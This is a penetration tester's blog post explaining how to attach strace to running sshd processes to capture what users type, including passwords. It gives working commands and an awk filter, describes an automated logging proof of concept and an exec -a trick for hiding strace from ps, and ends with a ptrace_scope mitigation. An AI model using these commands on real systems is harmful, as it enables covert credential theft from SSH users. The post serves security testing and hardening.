Using strace to monitor SSH connections on Linux

As a penetration tester, I like to avoid replacing binaries on running systems as it makes it more difficult to clean up the system after we're done. Occasionally a tester will come across a Linux server that is used to connect to other internal systems. It would be nice to be able to monitor the SSH sessions without replacing the SSHD daemon. This is where ptrace comes in handy.

Using strace to hook into SSH

The system call ptrace is used to monitor and control another process. It's mostly used by debuggers and programs that map out what another application is doing. One of these applications is strace. Strace connects to another process and prints out all the system calls that the attached process is using. This includes the data that is being sent from a user through SSH.

The SSH client and SSH server use different system calls to read data from the user and show data on the screen. For example, you can read what the user is typing into an SSH client by connecting strace to the process and looking for read(#, “[data]”, 16384) system calls. If you attach to an SSH server then you can read what the user is sending by looking for the write(#, “[data]”, 1) system calls. The # symbol represents the file descriptor number that SSH is using. This can change based on a number of factors, but should be the same for each SSH process on a system.

```
# ps -fC sshd UID        PID  PPID  C STIME TTY          TIME CMD root
2734     1  0 10:27 ?        00:00:00 /usr/sbin/sshd root     13909  2734  0
14:05 ?        00:00:00 sshd: root@pts/0 root     13919  2734  0 14:05 ?
00:00:00 sshd: root@pts/1  # strace -p 13909 -e write 2>&1 | egrep
"^write(.*1)" write(7, "p", 1)                        = 1 write(7, "a", 1)
= 1 write(7, "s", 1)                        = 1 write(7, "s", 1)
= 1 write(7, "w", 1)                        = 1 write(7, "o", 1)
= 1 write(7, "r", 1)                        = 1 write(7, "d", 1)
= 1 write(7, "r", 1)                       = 1
```

We can use awk to make the output a little prettier:

```
# strace -p 13909 2>&1 | awk '/^write(.*1)/ {gsub(/"/, "");gsub(/,/,
"");gsub(/\r/, "\n");sub(/[0-9]*)/,"
",$2);sub(/\177/,"b",$2);sub(/\t/,"t",$2);sub(/\3/,"^C",$2);printf $2}'
passwordn
```

Automated strace SSH key logger Python proof of concept

It is possible to automate hooking into new SSH connections using strace and outputting the results to a file. The python code available here can do that. Due to how the python code is parsing the data it will update the log files after a certain amount of bytes are read. While this method isn't that stealthy, it is possible to use exec -a [name] to have strace appear to be a different command in ps and top.

Mitigate ptrace attacks by disabling ptrace

Linux Kernel version 3.4 and above support the ability to limit or disable ptrace altogether. This can be done by using sysctl to set kernel.yama.ptrace_scope to a 1, 2, or 3. By default most distributions set this to 1. According to the Linux Kernel Yama Documentation These numbers map to the following permissions:

0 – Allow non-child processes to ptrace a process

1 – Block non-child processes from ptrace-ing a process

2 – Only processes with CAP_SYS_PTRACE may use it or children calling PTRACE_TRACEME

3 – Disable ptrace. Requires a reboot to change

This makes it possible to disable ptrace on a system by running “sysctl kernel.yama.ptrace_scope=3”. However, this may break other programs that are running. Wine, for example, does not work properly with ptrace disabled. I suggest that you test a non-production server and verify that all of its functions can run properly without ptrace enabled. Disabling ptrace also prevents some debugging features.

Conclusion

While ptrace provides useful debugging functionality, in the wrong scenario it can cause security issues. This is why it is important to take a look at what is needed for a server to perform its function and disable any unneeded functionality and services.